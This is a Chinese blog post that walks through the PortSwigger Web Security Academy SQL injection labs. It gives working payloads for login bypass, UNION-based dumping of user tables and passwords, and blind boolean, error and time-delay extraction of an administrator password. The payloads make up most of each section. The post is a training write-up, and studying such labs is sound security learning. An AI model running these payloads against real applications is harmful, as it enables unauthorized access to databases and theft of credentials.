SQL注入的练兵场

最新推荐文章于 2023-09-08 13:56:13 发布
最新推荐文章于 2023-09-08 13:56:13 发布
阅读量1.1k 收藏 1
点赞数 1
分类专栏： 渗透 文章标签： sql 数据库 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_55793759/article/details/127412856
版权

前言

突然发现BurpSuite练兵场这个系列，没玩过，本来不想再打这个SQL注入练习场，大概看了一下，还是有一些地方值得试试，花了一些时间搞定，算是巩固一下吧

☕️练兵场地址：https://portswigger.net/web-security
☕️SQL注入：SQL 注入备忘单

目录

1、检索隐藏数据☕️

目标：使应用程序显示显示发布与未发布的产品信息，还有任何类型的产品信息

考虑一个显示不同类别产品的购物应用程序，当用户单击"礼品"类别时，其浏览器会请求以下 URL

GET /filter?category=Gifts

请添加图片描述
这会导致应用程序进行 SQL 查询，以从数据库中检索相关产品的详细信息

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

该限制用于隐藏未发布的产品，对于未发布的产品，大概是released = 0

注释后面可能的限制条件

GET /filter?category=Gifts'--

请添加图片描述
注释限制条件后，出现了4个商品

设置or 1=1永真条件，可以使应用程序显示任何类别中的所有产品，包括他们不知道的类别

GET /filter?category=Gifts' or 1=1--

请添加图片描述

2、颠覆应用逻辑☕️

目标：登录绕过，不用密码也能登录

账号登录界面请添加图片描述

注释查询语句后面可能的密码限制条件

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

输入账号：administrator'--，密码随便
请添加图片描述

3、SQL 注入联合攻击☕️

3.1、确定 SQL 注入联合攻击中所需的列数

第一种方法涉及注入一系列子句并递增指定的列索引

' ORDER BY 1--
' ORDER BY 2--

第二种方法涉及提交一系列有效负载，指定不同数量的 null 值

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--

通过多次提交payload，确定列数为3列

Get /filter?category=Gifts' UNION SELECT NULL,NULL,NULL--

请添加图片描述

3.2、查找具有有用数据类型的列

在确定了所需列的数量后，探测可用列

' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

若位置不对便会报错
通过整形和字符串两种不同数据类型去判断可用的数据类型的列

Get /filter?category=Gifts' UNION SELECT NULL,'aaaa',NULL--

请添加图片描述

3.3、攻击检索感兴趣的数据

已知数据库包含一个使用的表users

' UNION SELECT '12','21'--

SELECT * FROM information_schema.tables

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

确定是字符型并且是两列，构造payload

Get /filter?category=Gifts' UNION SELECT username,password from users--

请添加图片描述

3.4、检索单个列中的多个值

假设查询仅返回单个列，通过将多个值连接在一起，可以轻松地在此单列中一起检索多个值

对Oracle数据库，可以提交输入

' UNION SELECT username || '~' || password FROM users--

请添加图片描述

这是使用双管序列，它是 Oracle 上的字符串串联运算符，注入的查询将字段的值连接在一起，以字符分隔

4、检查数据库☕️

4.1、查询数据库类型和版本

用于确定某些常用数据库类型的数据库版本的查询如下所示
请添加图片描述
(1)、已知查询数据库为Oracle，并利用Oracle的dual表做特定查询

'+UNION+SELECT+NULL,'12'+From+dual--

请添加图片描述
确实查询返回两列，并且为字符型

根据Oracle数据库，利用查询数据库版本的语句

'+UNION+SELECT+BANNER,+NULL+FROM+v$version--

请添加图片描述

(2)、已知查询数据库为MySQL，查询版本信息

首先判断返回的列数，注意，注释符选择--+或者#

'+UNION+SELECT+'abc','def'#

确实列数为两列

根据数据库类型选择查询版本语句

'+UNION+SELECT+'111',@@version--+

请添加图片描述

4.2、列出数据库的内容

（1）、列出非Oracle的数据库内容，找到用户账号密码

大多数数据库类型（Oracle 除外）都有一组称为信息架构的视图，这些视图提供有关数据库的信息

' UNION SELECT 'abc','def'--

在确定列数和类型后

使用以下有效负载检索数据库中的表列表（非Oracle，可选择--+）

' UNION SELECT table_name,NULL FROM information_schema.tables--

请添加图片描述

找到用户表，然后检索表中列的详细信息

'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_muduks'--

请添加图片描述

找到相应的字段，查看字段的值

' UNION SELECT username_hgjwzm,password_nrnrfb FROM users_muduks--

请添加图片描述

（2）、列出Oracle的数据库内容，找到账号密码

验证查询是否返回的列数，验证方式与其他数据库有点不一样

' UNION SELECT 'abc','def' FROM dual--

使用以下有效负载检索数据库中的列表

' UNION SELECT table_name,NULL FROM all_tables--

请添加图片描述

检索表中列的详细信息

'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ODSVMN'--

请添加图片描述

检索所有用户的用户名和密码

' UNION SELECT USERNAME_IULGOY,PASSWORD_EOKMFZ FROM USERS_ODSVMN--

请添加图片描述

5、盲目 SQL 注入漏洞☕️

许多SQL注入实例都是盲目的漏洞，这意味着应用程序不会返回 SQL 查询的结果或其响应中任何数据库错误的详细信息。盲目漏洞仍然可以被利用来访问未经授权的数据，但所涉及的技术通常更复杂且难以执行

5.1、具有条件响应的盲 SQL 注入

不返回 SQL 查询的结果，并且不显示任何错误消息，但是，如果查询返回任何行，应用程序将在页面中包含"欢迎回来"消息

访问商店的首页，拦截和修改包含Cookie的请求，如下是原始Cookie：
Cookie: session=z8DXgfIgCs9po6oagdtY8xs4PzgAiqn7; TrackingId=QvOTi61bx9OKEiJ6

在Cookie后加上

TrackingId=QvOTi61bx9OKEiJ6' AND '1'='1

请添加图片描述
验证响应中显示"欢迎回来"消息

更改输入值

TrackingId=QvOTi61bx9OKEiJ6' AND '1'='2

请添加图片描述
验证响应中未显示"欢迎回来"消息

现在将其更改为

TrackingId=QvOTi61bx9OKEiJ6' AND (SELECT 'a' FROM users LIMIT 1)='a

验证条件是否为真，确认存在名为users的表

现在将其更改为

TrackingId=QvOTi61bx9OKEiJ6' AND (SELECT 'a' FROM users WHERE username='administrator')='a

验证条件是否为真，确认存在名为administrator的用户

下一步是确定用户的密码中有多少个字符

TrackingId=QvOTi61bx9OKEiJ6' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

然后只要不断测试这个长度值即可，最后测试密码长度为20

下一步是在每个位置测试字符以确定其值

TrackingId=QvOTi61bx9OKEiJ6' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a

这里可以进行集束爆破，设置两个BP点，同时BP位置和字符

请添加图片描述
进行BP
请添加图片描述
组合密码即可

5.2、具有条件错误的盲 SQL 注入

不会返回 SQL 查询的结果，并且应用程序不会根据查询是否返回任何行而做出任何不同的响应。如果 SQL 查询导致错误，则应用程序将返回自定义错误消息

抓取请求包

请添加图片描述
通过测试Cookie的值判断是否存在注入

  • TrackingId=xyz' 加单引号异常
  • TrackingId=xyz'' 加两个单引号正常，猜测进行SQL查询

现在需要确认服务器正在将注入解释为SQL查询，即错误是SQL语法错误，而不是任何其他类型的错误

  • TrackingId=haoouywlyIj9MWmk'||(SELECT '')||' 异常，猜测需要指定表名
  • TrackingId=haoouywlyIj9MWmk'||(SELECT '' FROM dual)||' 正常，猜测Oracle数据库
  • TrackingId=haoouywlyIj9MWmk'||(SELECT '' FROM not-a-real-table)||' 异常，猜测不存在的表名

表明后端正在将注入作为 SQL 查询进行处理

验证可能存在的表

TrackingId=haoouywlyIj9MWmk'||(SELECT '' FROM users WHERE ROWNUM = 1)||'

注意，此处的条件对于防止查询返回多行非常重要，这会破坏我们的串联，WHERE ROWNUM = 1

确定该表存在用户名administrator

  • TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='gdg')||'
    正常，gdd用户不存在，SELECT ' '不会产生异常

  • TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='gdg')||'
    正常，gdd用户不存在，SELECT TO_CHAR(1/0)不会产生异常

  • TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
    正常，administrator用户存在，SELECT ' '不会产生异常

  • TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
    异常，administrator用户存在，SELECT TO_CHAR(1/0)会产生异常

下一步是确定用户的密码中有多少个字符

TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

因为确定administrator用户存在，如果LENGTH(password)>1成立，to_char(1/0)就会报错，网页显示错误，若LENGTH(password)>n错误，网页显示正常，密码长度就是n，确定长度为20位

然后对密码一位位进行爆破

TrackingId=haoouywlyIj9MWmk'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

5.3、具有时间延迟的盲 SQL 注入

处理查询时，可能会导致数据库中的时间延迟

请添加图片描述
访问商店的首页，并拦截和修改包含Cookie的请求

TrackingId=XZMyVcav3Hry86KZ'||pg_sleep(10)--

请添加图片描述

提交请求并观察应用程序需要 10 秒才能响应

5.4、具有时间延迟和信息检索的盲式 SQL 注入

查询的执行会触发条件时间延迟来推断信息

访问商店的首页，并拦截和修改包含Cookie的请求，测试时间盲注

请添加图片描述
接下继续使用case语句测试，符号;的URL编码后是%3B，执行完检查Cookie后，执行我们的SQL语句

  • TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- 验证应用程序是否需要 10 秒才能响应。
  • TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- 不超时

然后可以在when后构造payload，判断用户administrator存在

  • TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- 延时即存在

下一步是确定用户的密码中有多少个字符

  • TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

确定密码的长度后，下一步是在每个位置测试字符以确定其值

  • TrackingId=cGbLVLgtgXboRzix'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

执行该命令延时即说明是对的

迷途羔羊pro
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
7月29日CTFsql注入训练
slc3315的博客
07-29 932
一、g00d_sql 题目： 思路： 这个题其实就是weblib闯关的一道题 两个输入框分别是用户名和密码，主要考注入 步骤一：试探 先用户名输入1，密码1，试一试 发现报错后，试一试万能密码 1’ or 1=1# 明显可以采用注入的方式 步骤二：手工注入 按照以下步骤开工： 1）判断是否存在注入点； 2）判断字段长度； 3）判断字段回显位置； 4）判断数据库信息； 5）查找数据库名； 6）查找数据库表； 7）查找数据库表中所有字段以及字段值； payload: -1’ union select 1,gr
BurpSuite练兵场系列之服务器端漏洞篇 - 身份验证专题
weixin_50464560的博客
08-15 1354
https://www.anquanke.com/post/id/245533 robots   本系列介绍 PortSwigger是信息安全从业者必备工具burpsuite的发行商，作为网络空间安全的领导者，他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场)，在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习，本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考，希望能对初学者们有所帮助。   梨子有话说 梨子也算是W
绕过登录的万能密码 SQL 注入
杳若的博客
08-15 96
绕过登录的万能密码 SQL 注入
portswigger靶场SQL注入教程
weixin_68723119的博客
09-08 143
查找数据，此处只有一个回显位，如果我们挨个输出我们所需要的数据，可能会出现前后不对应的情况，所以我们要将我们所需要的所有数据连接在一起输出，我此处使用的是冒号连接，需注意的是数据与冒号之间要用两个管道符连接。，不过要对语句进行url编码，我以下均用的是hackbar插件，所以并未编码，当在第N个null时报错，列数为N-1。通过在列的位置上挨个放入数据判断回显的位置，此处判断回显位为第二位。判断回显位，此处只有第二位有回显，因此在第二位输出我们所需要的数据。判断回显位，两列皆回显。判断回显位，两列皆回显。
【安全练兵场】| BurpSuite靶场系列之SQL注入
Ms08067安全实验室
10-12 316
文章来源｜MS08067 安全练兵场 知识星球本文作者：godunt（安全练兵场星球合伙人）玩靶场 认准安全练兵场成立"安全练兵场"的目的目前，安全行业热度逐年增加，很多新手安全从业人员在获取技术知识时，会局限于少量的实战中，技术理解得不到升华，只会像个脚本小子照着代码敲命令，遇到实战时自乱阵脚，影响心态的同时却自叹不如。而安全练兵场是由理论知识到实战过渡的一道大门，安全练兵场星球鼓励大家从实战中...
sql注入攻击流量情况
07-18
sql注入攻击流量情况
SQL 注入天书.pdf
08-06
SQL 注入学习天书
pangolinsdl—sql注入工具
06-20
pangolinsdl—sql注入工具 很好用的sql注入工具 界面简洁好用 使用方便
sql注入绕过方法总结
12-19
sql注入绕过方法总结，绕过waf，D盾
sql注入讲解ppt.pptx
08-10
对sql注入一些基础知识的讲解
【安全练兵场】| BurpSuite靶场系列之身份验证
Ms08067安全实验室
10-18 192
文章来源｜MS08067 安全练兵场 知识星球本文作者：godunt（安全练兵场星球合伙人）玩靶场 认准安全练兵场成立"安全练兵场"的目的目前，安全行业热度逐年增加，很多新手安全从业人员在获取技术知识时，会局限于少量的实战中，技术理解得不到升华，只会像个脚本小子照着代码敲命令，遇到实战时自乱阵脚，影响心态的同时却自叹不如。而安全练兵场是由理论知识到实战过渡的一道大门，安全练兵场星球鼓励大家从实战中...
oracle中 特殊字符 转义 （&）
wgz7747147820的博客
12-06 3098
https://blog.csdn.net/u011897392/article/details/52449389 不错 参考一下
SQL注入攻击实战演示（附源码）
hack0919的博客
03-31 4189
SQL注入是一种非常常见的数据库攻击手段，SQL注入漏洞也是网络世界中最普遍的漏洞之一。
带你刷burpsuite官方网络安全学院靶场(练兵场)之客户端漏洞——跨站请求伪造(CSRF)专题
HBohan的博客
08-05 1727
介绍 PortSwigger是信息安全从业者必备工具burpsuite的发行商，作为网络空间安全的领导者，他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场)，在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习，本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考，希望能对初学者们有所帮助。 什么是CSRF？ CSRF全称为cross-site request forgery，译为跨站请求伪造。有的站点会采用同源策略，如果想要利用受害者身份去执
SQL注入细则
qq_62708558的博客
09-12 2445
最近重新学习了sql注入的一些相关的知识，对于之前的一些初学的时候的细节有了一些补充。 成因问题 sql注入的成因，其本质上是来自于未过滤的用户输入和不正确的sql代码拼接和执行。 环境来源 简单的sql注入会有一个报错的显示，对于这个报错之前一直不太清楚。 其来源是来源于，各个后端语言的数据库错误报错函数。 典型的在php种就是mysql_error（）函数。 报错函数会收集所有的数据库错误返回给web服务器。 其原因主要是由于web服务器和数据库服务器处在不同的位置，之间的交互需要
一次简单的SQL注入靶场练习
lza20001103的博客
07-24 3916
一次简单的SQL注入靶场练习
Sql注入系列详解（一）---基于时间差的盲注
AI.PLAY
05-07 1万+
Sql 基于时间的盲注   基于的原理是，当对数据库进行查询操作，如果查询的条件不存在，语句执行的时间便是0.但往往语句执行的速度非常快，线程信息一闪而过，得到的执行时间基本为0. 例如： 于是sleep（N）这个语句在这种情况下起到了非常大的作用。  Select sleep（N）可以让此语句运行n秒钟。 但是如果查询语句的条件不存在，执行的时间便是0，利用该函数
sql 注入练习题
可乐的博客
02-16 4469
sql注入习题 来源于ctfs.me的一道习题，实在做不出来，google了wp,发现这道题目是引自于其他习题集了，而且原题目是有源码的。。。于是趁机把他的题目做了一遍 http://35.184.20.243:8003/ <——sql注入靶场地址 level1 这道题目其实没有源码也是可以做的，不过需要简单思考一下 $query = "SELECT * FROM secrets...
SQL注入练习平台sqli-labs
热门推荐
海枫的专栏
11-04 1万+
你是否在学习SQL注入找不到好的OJ平台，这里介绍sqli-labs项目给你，非常适合SQL注入初学者来这里升级怪兽。
sql注入sql注入
最新发布
05-02
SQL注入是一种常见的安全漏洞，它允许攻击者通过在应用程序的输入字段中插入恶意的SQL代码来执行未经授权的数据库操作。攻击者可以利用这个漏洞来绕过身份验证、获取敏感数据、修改数据或者执行其他恶意操作。 为了...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值